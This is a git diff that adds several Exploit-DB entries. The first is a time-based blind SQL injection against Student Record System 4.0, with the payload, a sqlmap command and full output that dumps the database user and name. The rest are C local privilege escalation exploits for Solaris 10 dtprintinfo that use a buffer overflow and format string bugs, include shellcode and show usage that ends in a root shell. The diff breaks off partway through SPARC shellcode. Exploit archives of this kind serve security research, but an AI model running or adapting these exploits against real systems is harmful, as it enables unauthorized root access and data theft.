diff --git a/exploits/php/webapps/49513.txt b/exploits/php/webapps/49513.txt new file mode 100644 index 000000000..31f196d47 --- /dev/null +++ b/exploits/php/webapps/49513.txt @@ -0,0 +1,102 @@ +# Exploit Title: Student Record System 4.0 - 'cid' SQL Injection +# Date: 2/2/2021 +# Exploit Author: Jannick Tiger +# Vendor Homepage: https://phpgurukul.com/ +# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip +# Version: V 4.0 +# Tested on: Windows、XAMPP + +# Identify the vulnerability +1. go to http://localhost/schoolmanagement/pages/login.php and login with your account +2. then go to http://localhost/schoolmanagement/pages/view-course.php +3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI url:http://localhost/schoolmanagement/pages/edit-course.php?cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI + +If the web server makes you wait 5 seconds then it's vulnerable + +# Exploit + +Now you can exploit it using sqlmap + +command: sqlmap -u url --batch --dbms=mysql --current-db --current-user + +example: sqlmap.py -u +http://localhost/schoolmanagement/edit-course.php?cid=7 --batch +--dbms=mysql --current-db --current-user + + + + ___ + __H__ + ___ ___["]_____ ___ ___ {1.4.10.16#dev} +|_ -| . [,] | .'| . | +|___|_ [(]_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + +[!] legal disclaimer: Usage of sqlmap for attacking targets without prior +mutual consent is illegal. It is the end user's responsibility to obey all +applicable local, state and federal laws. Developers assume no liability +and are not responsible for any misuse or damage caused by this program + +[*] starting @ 13:21:36 /2021-02-02/ + +[13:21:36] [INFO] testing connection to the target URL +got a 302 redirect to 'http://192.168.100.242:80/schoolmanagement/index.php'. +Do you want to follow? [Y/n] Y +you have not declared cookie(s), while server wants to set its own +('PHPSESSID=88oau62p72k...thmqvnofk6'). Do you want to use those [Y/n] Y +[13:21:37] [INFO] checking if the target is protected by some kind of +WAF/IPS +[13:21:37] [INFO] testing if the target URL content is stable +[13:21:37] [WARNING] GET parameter 'cid' does not appear to be dynamic +[13:21:37] [WARNING] heuristic (basic) test shows that GET parameter 'cid' +might not be injectable +[13:21:37] [INFO] testing for SQL injection on GET parameter 'cid' +[13:21:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' +[13:21:38] [INFO] testing 'Boolean-based blind - Parameter replace +(original value)' +[13:21:38] [INFO] testing 'Generic inline queries' +[13:21:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, +ORDER BY or GROUP BY clause (FLOOR)' +[13:21:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace +(FLOOR)' +[13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query +SLEEP)' +[13:21:39] [WARNING] time-based comparison requires larger statistical +model, please wait............... (done) +[13:21:50] [INFO] GET parameter 'cid' appears to be 'MySQL >= 5.0.12 AND +time-based blind (query SLEEP)' injectable +for the remaining tests, do you want to include all tests for 'MySQL' +extending provided level (1) and risk (1) values? [Y/n] Y +[13:21:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' +[13:21:50] [INFO] automatically extending ranges for UNION query injection +technique tests as there is at least one other (potential) technique found +[13:21:52] [INFO] checking if the injection point on GET parameter 'cid' is +a false positive +GET parameter 'cid' is vulnerable. Do you want to keep testing the others +(if any)? [y/N] N +sqlmap identified the following injection point(s) with a total of 65 +HTTP(s) requests: +--- +Parameter: cid (GET) + Type: time-based blind + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + Payload: cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND +'yXjI'='yXjI +--- +[13:22:13] [INFO] the back-end DBMS is MySQL +[13:22:13] [WARNING] it is very important to not stress the network +connection during usage of time-based payloads to prevent potential +disruptions +do you want sqlmap to try to optimize value(s) for DBMS delay responses +(option '--time-sec')? [Y/n] Y +back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) +[13:22:18] [INFO] fetching current user +[13:22:18] [INFO] retrieved: +[13:22:28] [INFO] adjusting time delay to 1 second due to good response +times +root@localhost +current user: 'root@localhost' +[13:23:24] [INFO] fetching current database +[13:23:24] [INFO] retrieved: schoolmanagement +current database: 'schoolmanagement' +[13:24:22] [INFO] fetched data logged to text files under \ No newline at end of file diff --git a/exploits/solaris/local/49514.c b/exploits/solaris/local/49514.c new file mode 100644 index 000000000..53f4a9873 --- /dev/null +++ b/exploits/solaris/local/49514.c @@ -0,0 +1,356 @@ +# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2) +# Date: 2021-02-01 +# Exploit Author: Marco Ivaldi +# Vendor Homepage: https://www.oracle.com/solaris/solaris10/ +# Version: Solaris 10 +# Tested on: Solaris 10 1/13 Intel + + +/* + * raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE + * Copyright (c) 2020 Marco Ivaldi + * + * "What we do in life echoes in eternity" -- Maximus Decimus Meridius + * https://patchfriday.com/22/ + * + * Another buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to + * local root. This one was discovered by Marti Guasch Jimenez, who attended my + * talk "A bug's life: story of a Solaris 0day" presented at #INFILTRATE19 on + * May 2nd, 2019 (https://github.com/0xdea/raptor_infiltrate19). + * + * It's a stack-based buffer overflow in the check_dir() function: + * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...){ + * char local_724 [300]; + * ... + * __format = getenv("REQ_DIR"); + * sprintf(local_724,__format,param_2); + * + * "To trigger this vulnerability we need a printer present, we can also fake + * it with the lpstat trick. We also need at least one directory in the path + * pointed by the environment variable TMP_DIR. Finally, we just need to set + * REQ_DIR with a value of 0x720 of padding + value to overwrite EBP + value to + * overwrite EIP." -- Marti Guasch Jimenez + * + * This bug was likely fixed during the general cleanup of CDE code done by + * Oracle in response to my recently reported vulnerabilities. However, I can't + * confirm this because I have no access to their patches:/ + * + * Usage: + * $ gcc raptor_dtprintcheckdir_intel.c -o raptor_dtprintcheckdir_intel -Wall + * [on your xserver: disable the access control] + * $ ./raptor_dtprintcheckdir_intel 192.168.1.1:0 + * [on your xserver: double click on the fake "fnord" printer] + * [...] + * # id + * uid=0(root) gid=1(other) + * # + * + * Tested on: + * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) + * [previous Solaris versions are also likely vulnerable] + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define INFO1 "raptor_dtprintcheckdir_intel.c - Solaris/Intel 0day? LPE" +#define INFO2 "Copyright (c) 2020 Marco Ivaldi " + +#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program +#define BUFSIZE 2048 // size of the evil env var + +char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ +/* double setuid() */ +"\x31\xc0\x50\x50\xb0\x17\xcd\x91" +"\x31\xc0\x50\x50\xb0\x17\xcd\x91" +/* execve() */ +"\x31\xc0\x50\x68/ksh\x68/bin" +"\x89\xe3\x50\x53\x89\xe2\x50" +"\x52\x53\xb0\x3b\x50\xcd\x91"; + +/* globals */ +char *arg[2] = {"foo", NULL}; +char *env[256]; +int env_pos = 0, env_len = 0; + +/* prototypes */ +int add_env(char *string); +void check_zero(int addr, char *pattern); +int get_sc_addr(char *path, char **argv); +int search_ldso(char *sym); +int search_rwx_mem(void); +void set_val(char *buf, int pos, int val); + +/* + * main() + */ +int main(int argc, char **argv) +{ + char buf[BUFSIZE]; + char platform[256], release[256], display[256]; + int i, sc_addr; + + int sb = ((int)argv[0] | 0xfff); /* stack base */ + int ret = search_ldso("strcpy"); /* or sprintf */ + int rwx_mem = search_rwx_mem(); /* rwx memory */ + + /* lpstat code to add a fake printer */ + if (!strcmp(argv[0], "lpstat")) { + + /* check command line */ + if (argc != 2) + exit(1); + + /* print the expected output and exit */ + if(!strcmp(argv[1], "-v")) { + fprintf(stderr, "lpstat called with -v\n"); + printf("device for fnord: /dev/null\n"); + } else { + fprintf(stderr, "lpstat called with -d\n"); + printf("system default destination: fnord\n"); + } + exit(0); + } + + /* helper program that prints argv[0] address, used by get_sc_addr() */ + if (!strcmp(argv[0], "foo")) { + printf("0x%p\n", argv[0]); + exit(0); + } + + /* print exploit information */ + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); + + /* process command line */ + if (argc != 2) { + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); + exit(1); + } + sprintf(display, "DISPLAY=%s", argv[1]); + + /* prepare the evil env var */ + memset(buf, 'A', sizeof(buf)); + buf[sizeof(buf) - 1] = 0x0; + memcpy(buf, "REQ_DIR=", 8); + + /* fill the envp, keeping padding */ + add_env(sc); + add_env(buf); + add_env(display); + add_env("TMP_DIR=/tmp"); + add_env("PATH=.:/usr/bin"); + add_env("HOME=/tmp"); + add_env(NULL); + + /* calculate the shellcode address */ + sc_addr = get_sc_addr(VULN, argv); + + /* fill with ld.so.1 address, saved eip, and arguments */ + for (i = 12; i < BUFSIZE - 20; i += 4) { + set_val(buf, i, ret); /* strcpy */ + set_val(buf, i += 4, rwx_mem); /* saved eip */ + set_val(buf, i += 4, rwx_mem); /* 1st argument */ + set_val(buf, i += 4, sc_addr); /* 2nd argument */ + } + + /* we need at least one directory inside TMP_DIR to trigger the bug */ + mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); + + /* create a symlink for the fake lpstat */ + unlink("lpstat"); + symlink(argv[0], "lpstat"); + + /* print some output */ + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); + sysinfo(SI_RELEASE, release, sizeof(release) - 1); + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); + fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); + + /* check for null bytes */ + check_zero(sc_addr, "sc address"); + + /* run the vulnerable program */ + execve(VULN, arg, env); + perror("execve"); + exit(1); +} + +/* + * add_env(): add a variable to envp and pad if needed + */ +int add_env(char *string) +{ + int i; + + /* null termination */ + if (!string) { + env[env_pos] = NULL; + return env_len; + } + + /* add the variable to envp */ + env[env_pos] = string; + env_len += strlen(string) + 1; + env_pos++; + + /* pad the envp using zeroes */ + if ((strlen(string) + 1) % 4) + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { + env[env_pos] = string + strlen(string); + env_len++; + } + + return env_len; +} + +/* + * check_zero(): check an address for the presence of a 0x00 + */ +void check_zero(int addr, char *pattern) +{ + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || + !(addr & 0xff000000)) { + fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); + exit(1); + } +} + +/* + * get_sc_addr(): get shellcode address using a helper program + */ +int get_sc_addr(char *path, char **argv) +{ + char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; + char hex[11] = "\x00"; + int fd[2], addr; + + /* truncate program name at correct length and create a hard link */ + prog[strlen(path)] = 0x0; + unlink(prog); + link(argv[0], prog); + + /* open pipe to read program output */ + if (pipe(fd) < 0) { + perror("pipe"); + exit(1); + } + + switch(fork()) { + + case -1: /* cannot fork */ + perror("fork"); + exit(1); + + case 0: /* child */ + dup2(fd[1], 1); + close(fd[0]); + close(fd[1]); + execve(prog, arg, env); + perror("execve"); + exit(1); + + default: /* parent */ + close(fd[1]); + read(fd[0], hex, sizeof(hex)); + break; + } + + /* check and return address */ + if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { + fprintf(stderr, "error: cannot read sc address from helper program\n"); + exit(1); + } + return addr; +} + +/* + * search_ldso(): search for a symbol inside ld.so.1 + */ +int search_ldso(char *sym) +{ + int addr; + void *handle; + Link_map *lm; + + /* open the executable object file */ + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { + perror("dlopen"); + exit(1); + } + + /* get dynamic load information */ + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { + perror("dlinfo"); + exit(1); + } + + /* search for the address of the symbol */ + if ((addr = (int)dlsym(handle, sym)) == NULL) { + fprintf(stderr, "sorry, function %s() not found\n", sym); + exit(1); + } + + /* close the executable object file */ + dlclose(handle); + + check_zero(addr - 4, sym); + return addr; +} + +/* + * search_rwx_mem(): search for an RWX memory segment valid for all + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem + */ +int search_rwx_mem(void) +{ + int fd; + char tmp[16]; + prmap_t map; + int addr = 0, addr_old; + + /* open the proc filesystem */ + sprintf(tmp,"/proc/%d/map", (int)getpid()); + if ((fd = open(tmp, O_RDONLY)) < 0) { + fprintf(stderr, "can't open %s\n", tmp); + exit(1); + } + + /* search for the last RWX memory segment before stack (last - 1) */ + while (read(fd, &map, sizeof(map))) + if (map.pr_vaddr) + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { + addr_old = addr; + addr = map.pr_vaddr; + } + close(fd); + + /* add 4 to the exact address null bytes */ + if (!(addr_old & 0xff)) + addr_old |= 0x04; + if (!(addr_old & 0xff00)) + addr_old |= 0x0400; + + return addr_old; +} + +/* + * set_val(): copy a dword inside a buffer (little endian) + */ +void set_val(char *buf, int pos, int val) +{ + buf[pos] = (val & 0x000000ff); + buf[pos + 1] = (val & 0x0000ff00) >> 8; + buf[pos + 2] = (val & 0x00ff0000) >> 16; + buf[pos + 3] = (val & 0xff000000) >> 24; +} \ No newline at end of file diff --git a/exploits/solaris/local/49515.c b/exploits/solaris/local/49515.c new file mode 100644 index 000000000..aa7f3631c --- /dev/null +++ b/exploits/solaris/local/49515.c @@ -0,0 +1,279 @@ +# Exploit Title: Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3) +# Date: 2021-02-01 +# Exploit Author: Marco Ivaldi +# Vendor Homepage: https://www.oracle.com/solaris/solaris10/ +# Version: Solaris 10 +# Tested on: Solaris 10 1/13 Intel + +/* + * raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE + * Copyright (c) 2020 Marco Ivaldi + * + * "I'm gonna have to go into hardcore hacking mode!" -- Hackerman + * https://youtu.be/KEkrWRHCDQU + * + * Same code snippet, different vulnerability. 20 years later, format string + * bugs are not extinct after all! The vulnerable function looks like this: + * + * void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(...) + * { + * ... + * char local_724 [300]; + * ... + * else { + * __format = getenv("REQ_DIR"); + * sprintf(local_724,__format,param_2); // [1] + * } + * ... + * local_c = strlen(local_724); // [2] + * sprintf(local_5f8,"/var/spool/lp/tmp/%s/",param_2); // [3] + * ... + * } + * + * The plan (inspired by an old technique devised by gera) is to exploit the + * sprintf at [1], where we control the format string, to replace the strlen + * at [2] with a strdup and the sprintf at [3] with a call to the shellcode + * dynamically allocated in the heap by strdup and pointed to by the local_c + * variable at [2]. In practice, to pull this off the structure of the evil + * environment variable REQ_DIR must be: + * [sc] [pad] [.got/strlen] [.got/sprintf] [stackpop] [W .plt/strdup] [W call *-0x8(%ebp)] + * + * To collect the needed addresses for your system, use: + * $ objdump -R /usr/dt/bin/dtprintinfo | grep strlen # .got + * 080994cc R_386_JUMP_SLOT strlen + * $ objdump -R /usr/dt/bin/dtprintinfo | grep sprintf # .got + * 080994e4 R_386_JUMP_SLOT sprintf + * $ objdump -x /usr/dt/bin/dtprintinfo | grep strdup # .plt + * 0805df20 F *UND* 00000000 strdup + * $ objdump -d /usr/dt/bin/dtprintinfo | grep call | grep ebp | grep -- -0x8 # .text + * 08067f52: ff 55 f8 call *-0x8(%ebp) + * + * This bug was likely fixed during the general cleanup of CDE code done by + * Oracle in response to my recently reported vulnerabilities. However, I can't + * confirm this because I have no access to their patches:/ + * + * See also: + * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) + * raptor_dtprintcheckdir_sparc.c (just a proof of concept) + * raptor_dtprintcheckdir_sparc2.c (the real deal) + * + * Usage: + * $ gcc raptor_dtprintcheckdir_intel2.c -o raptor_dtprintcheckdir_intel2 -Wall + * [on your xserver: disable the access control] + * $ ./raptor_dtprintcheckdir_intel2 192.168.1.1:0 + * [on your xserver: double click on the fake "fnord" printer] + * [...] + * # id + * uid=0(root) gid=1(other) + * # + * + * Tested on: + * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) + * [previous Solaris versions are also likely vulnerable] + */ + +#include +#include +#include +#include +#include +#include + +#define INFO1 "raptor_dtprintcheckdir_intel2.c - Solaris/Intel FMT LPE" +#define INFO2 "Copyright (c) 2020 Marco Ivaldi " + +#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program +#define BUFSIZE 300 // size of evil env var +#define STACKPOPSEQ "%.8x" // stackpop sequence +#define STACKPOPS 14 // number of stackpops + +/* replace with valid addresses for your system */ +#define STRLEN 0x080994cc // .got strlen address +#define SPRINTF 0x080994e4 // .got sprintf address +#define STRDUP 0x0805df20 // .plt strdup address +#define RET 0x08067f52 // call *-0x8(%ebp) address + +/* split an address in 4 bytes */ +#define SPLITB(b1, b2, b3, b4, addr) { \ + b1 = (addr & 0x000000ff); \ + b2 = (addr & 0x0000ff00) >> 8; \ + b3 = (addr & 0x00ff0000) >> 16; \ + b4 = (addr & 0xff000000) >> 24; \ +} + +char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ +/* double setuid() */ +"\x31\xc0\x50\x50\xb0\x17\xcd\x91" +"\x31\xc0\x50\x50\xb0\x17\xcd\x91" +/* execve() */ +"\x31\xc0\x50\x68/ksh\x68/bin" +"\x89\xe3\x50\x53\x89\xe2\x50" +"\x52\x53\xb0\x3b\x50\xcd\x91"; + +/* globals */ +char *arg[2] = {"foo", NULL}; +char *env[256]; +int env_pos = 0, env_len = 0; + +/* prototypes */ +int add_env(char *string); + +/* + * main() + */ +int main(int argc, char **argv) +{ + char buf[BUFSIZE], *p = buf; + char platform[256], release[256], display[256]; + + int i, stackpops = STACKPOPS; + unsigned base, n1, n2, n3, n4, n5, n6, n7, n8; + unsigned char strdup1, strdup2, strdup3, strdup4; + unsigned char ret1, ret2, ret3, ret4; + + int strlen_got = STRLEN; + int sprintf_got = SPRINTF; + int strdup_plt = STRDUP; + int ret = RET; + + /* lpstat code to add a fake printer */ + if (!strcmp(argv[0], "lpstat")) { + + /* check command line */ + if (argc != 2) + exit(1); + + /* print the expected output and exit */ + if(!strcmp(argv[1], "-v")) { + fprintf(stderr, "lpstat called with -v\n"); + printf("device for fnord: /dev/null\n"); + } else { + fprintf(stderr, "lpstat called with -d\n"); + printf("system default destination: fnord\n"); + } + exit(0); + } + + /* print exploit information */ + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); + + /* process command line */ + if (argc != 2) { + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); + exit(1); + } + sprintf(display, "DISPLAY=%s", argv[1]); + + /* evil env var: name + shellcode + padding */ + bzero(buf, BUFSIZE); + sprintf(buf, "REQ_DIR=%s#", sc); + p += strlen(buf); + + /* format string: .got strlen address */ + *((void **)p) = (void *)(strlen_got); p += 4; + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(strlen_got + 1); p += 4; + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(strlen_got + 2); p += 4; + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(strlen_got + 3); p += 4; + memset(p, 'A', 4); p += 4; /* dummy */ + + /* format string: .got sprintf address */ + *((void **)p) = (void *)(sprintf_got); p += 4; + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(sprintf_got + 1); p += 4; + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(sprintf_got + 2); p += 4; + memset(p, 'A', 4); p += 4; /* dummy */ + *((void **)p) = (void *)(sprintf_got + 3); p += 4; + + /* format string: stackpop sequence */ + base = strlen(buf) - strlen("REQ_DIR="); + for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) + strcat(p, STACKPOPSEQ); + + /* calculate numeric arguments for .plt strdup address */ + SPLITB(strdup1, strdup2, strdup3, strdup4, strdup_plt); + n1 = (strdup1 - base) % 0x100; + n2 = (strdup2 - base - n1) % 0x100; + n3 = (strdup3 - base - n1 - n2) % 0x100; + n4 = (strdup4 - base - n1 - n2 - n3) % 0x100; + + /* calculate numeric arguments for call *-0x8(%ebp) address */ + SPLITB(ret1, ret2, ret3, ret4, ret); + n5 = (ret1 - base - n1 - n2 - n3 - n4) % 0x100; + n6 = (ret2 - base - n1 - n2 - n3 - n4 - n5) % 0x100; + n7 = (ret3 - base - n1 - n2 - n3 - n4 - n5 - n6) % 0x100; + n8 = (ret4 - base - n1 - n2 - n3 - n4 - n5 - n6 - n7) % 0x100; + + /* check for potentially dangerous numeric arguments below 10 */ + n1 += (n1 < 10) ? (0x100) : (0); + n2 += (n2 < 10) ? (0x100) : (0); + n3 += (n3 < 10) ? (0x100) : (0); + n4 += (n4 < 10) ? (0x100) : (0); + n5 += (n5 < 10) ? (0x100) : (0); + n6 += (n6 < 10) ? (0x100) : (0); + n7 += (n7 < 10) ? (0x100) : (0); + n8 += (n8 < 10) ? (0x100) : (0); + + /* format string: write string */ + sprintf(p, "%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n%%%dx%%n", n1, n2, n3, n4, n5, n6, n7, n8); + + /* fill the envp, keeping padding */ + add_env(buf); + add_env(display); + add_env("TMP_DIR=/tmp"); + add_env("PATH=.:/usr/bin"); + add_env("HOME=/tmp"); + add_env(NULL); + + /* we need at least one directory inside TMP_DIR to trigger the bug */ + mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); + + /* create a symlink for the fake lpstat */ + unlink("lpstat"); + symlink(argv[0], "lpstat"); + + /* print some output */ + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); + sysinfo(SI_RELEASE, release, sizeof(release) - 1); + fprintf(stderr, "Using SI_PLATFORM\t\t: %s (%s)\n", platform, release); + fprintf(stderr, "Using strlen address in .got\t: 0x%p\n", (void *)strlen_got); + fprintf(stderr, "Using sprintf address in .got\t: 0x%p\n", (void *)sprintf_got); + fprintf(stderr, "Using strdup address in .plt\t: 0x%p\n", (void *)strdup_plt); + fprintf(stderr, "Using call *-0x8(%%ebp) address\t: 0x%p\n\n", (void *)ret); + + /* run the vulnerable program */ + execve(VULN, arg, env); + perror("execve"); + exit(1); +} + +/* + * add_env(): add a variable to envp and pad if needed + */ +int add_env(char *string) +{ + int i; + + /* null termination */ + if (!string) { + env[env_pos] = NULL; + return env_len; + } + + /* add the variable to envp */ + env[env_pos] = string; + env_len += strlen(string) + 1; + env_pos++; + + /* pad the envp using zeroes */ + if ((strlen(string) + 1) % 4) + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { + env[env_pos] = string + strlen(string); + env_len++; + } + + return env_len; +} \ No newline at end of file diff --git a/exploits/solaris/local/49516.c b/exploits/solaris/local/49516.c new file mode 100644 index 000000000..21fa47556 --- /dev/null +++ b/exploits/solaris/local/49516.c @@ -0,0 +1,549 @@ +# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation +# Date: 2021-02-01 +# Exploit Author: Marco Ivaldi +# Vendor Homepage: https://www.oracle.com/solaris/solaris10/ +# Version: Solaris 10 +# Tested on: Solaris 10 1/13 SPARC + +/* + * raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC + * Copyright (c) 2020 Marco Ivaldi + * + * "Mimimimimimimi + * Mimimi only mimi + * Mimimimimimimi + * Mimimi sexy mi" + * -- Serebro + * + * As usual, exploitation on SPARC turned out to be much more complicated (and + * fun) than on Intel. Since the vulnerable program needs to survive one + * additional function before we can hijack %pc, the classic stack-based buffer + * overflow approach didn't seem feasible in this case. Therefore, I opted for + * the format string bug. This is just a proof of concept, 'cause guess what -- + * on my system it works only when gdb or truss are attached to the target + * process:( To borrow Neel Mehta's words: + * + * "It's quite common to find an exploit that only works with GDB attached to + * the process, simply because without the debugger, break register windows + * aren't flushed to the stack and the overwrite has no effect." + * -- The Shellcoder's Handbook + * + * On different hardware configurations this exploit might work if the correct + * retloc and offset are provided. It might also be possible to force a context + * switch at the right time that results in registers being flushed to the + * stack at the right moment. However, this method tends to be unreliable even + * when the attack is repeatable like in this case. A better way to solve the + * puzzle would be to overwrite something different, e.g.: + * + * - Activation records of other functions, such as check_dir() (same issues) + * - Callback to function SortJobs() (nope, address is hardcoded in .text) + * - PLT in the binary (I need a different technique to handle null bytes) + * - PLT (R_SPARC_JMP_SLOT) in libc (no null bytes, this looks promising!) + * - Other OS function pointers I'm not aware of still present in Solaris 10 + * + * Finally, it might be possible to combine the stack-based buffer overflow and + * the format string bug to surgically fix addresses and survive until needed + * for program flow hijacking to be possible. Bottom line: there's still some + * work to do to obtain a reliable exploit, but I think it's feasible. You're + * welcome to try yourself if you feel up to the task and have a spare SPARC + * box;) [spoiler alert: I did it myself, see raptor_dtprintcheckdir_sparc2.c] + * + * This bug was likely fixed during the general cleanup of CDE code done by + * Oracle in response to my recently reported vulnerabilities. However, I can't + * confirm this because I have no access to their patches:/ + * + * See also: + * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) + * raptor_dtprintcheckdir_intel2.c + * raptor_dtprintcheckdir_sparc2.c (the real deal) + * + * Usage: + * $ gcc raptor_dtprintcheckdir_sparc.c -o raptor_dtprintcheckdir_sparc -Wall + * [on your xserver: disable the access control] + * $ truss -u a.out -u '*' -fae ./raptor_dtprintcheckdir_sparc 192.168.1.1:0 + * [on your xserver: double click on the fake "fnord" printer] + * ... + * -> __0FJcheck_dirPcTBPPP6QStatusLineStructPii(0xfe584e58, 0xff2a4042, 0x65db0, 0xffbfc50c) + * -> libc:getenv(0x4e8f8, 0x0, 0x0, 0x0) + * <- libc:getenv() = 0xffbff364 + * -> libc:getenv(0x4e900, 0x1, 0xf9130, 0x0) + * <- libc:getenv() = 0xffbff364 + * -> libc:sprintf(0xffbfc1bc, 0xffbff364, 0xff2a4042, 0x0) + * ... + * setuid(0) = 0 + * chmod("/bin/ksh", 037777777777) = 0 + * _exit(0) + * $ ksh + * # id + * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) + * # + * + * Tested on: + * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise + * [previous Solaris versions are also likely vulnerable (and easier to exploit)] + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define INFO1 "raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC" +#define INFO2 "Copyright (c) 2020 Marco Ivaldi " + +#define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program +#define BUFSIZE 3000 // size of evil env var +#define BUFSIZE2 10000 // size of padding buf +#define STACKPOPSEQ "%.8x" // stackpop sequence +#define STACKPOPS 383 // number of stackpops + +/* default retloc and offset for sprintf() */ +#define RETLOC 0xffbfbb3c // saved ret location +#define OFFSET 84 // offset from retloc to i0loc + +/* default retloc and offset for check_dir() */ +/* TODO: patch %i6 that gets corrupted by overflow */ +//#define RETLOC 0xffbfbbac // default saved ret location +//#define OFFSET 1884 // default offset from retloc to i0loc + +/* split an address in 4 bytes */ +#define SPLITB(B1, B2, B3, B4, ADDR) { \ + B4 = (ADDR & 0x000000ff); \ + B3 = (ADDR & 0x0000ff00) >> 8; \ + B2 = (ADDR & 0x00ff0000) >> 16; \ + B1 = (ADDR & 0xff000000) >> 24; \ +} + +/* calculate numeric arguments for write string */ +#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \ + N1 = (B4 - BASE) % 0x100; \ + N2 = (B2 - BASE - N1) % 0x100; \ + N3 = (B1 - BASE - N1 - N2) % 0x100; \ + N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \ + BASE += N1 + N2 + N3 + N4; \ +} + +//#define USE_EXEC_SC // uncomment to use exec shellcode + +#ifdef USE_EXEC_SC + char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */ + /* setuid(0) */ + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ + "\x82\x10\x20\x17" /* mov 0x17, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + /* execve("/bin/ksh", argv, NULL) */ + "\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */ + "\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */ + "\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */ + "\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */ + "\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */ + "\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */ + "\x82\x10\x20\x0b" /* mov 0xb, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + "\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */ + "\x41\x41\x41\x41" /* placeholder */ + "/bin/ksh"; +#else + char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */ + /* setuid(0) */ + "\x90\x08\x3f\xff" /* and %g0, -1, %o0 */ + "\x82\x10\x20\x17" /* mov 0x17, %g1 */ + "\x91\xd0\x20\x08" /* ta 8 */ + /* chmod("/bin/ksh", 037777777777) */ + "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ + "\x20\xbf\xff\xff" /* bn,a */ + 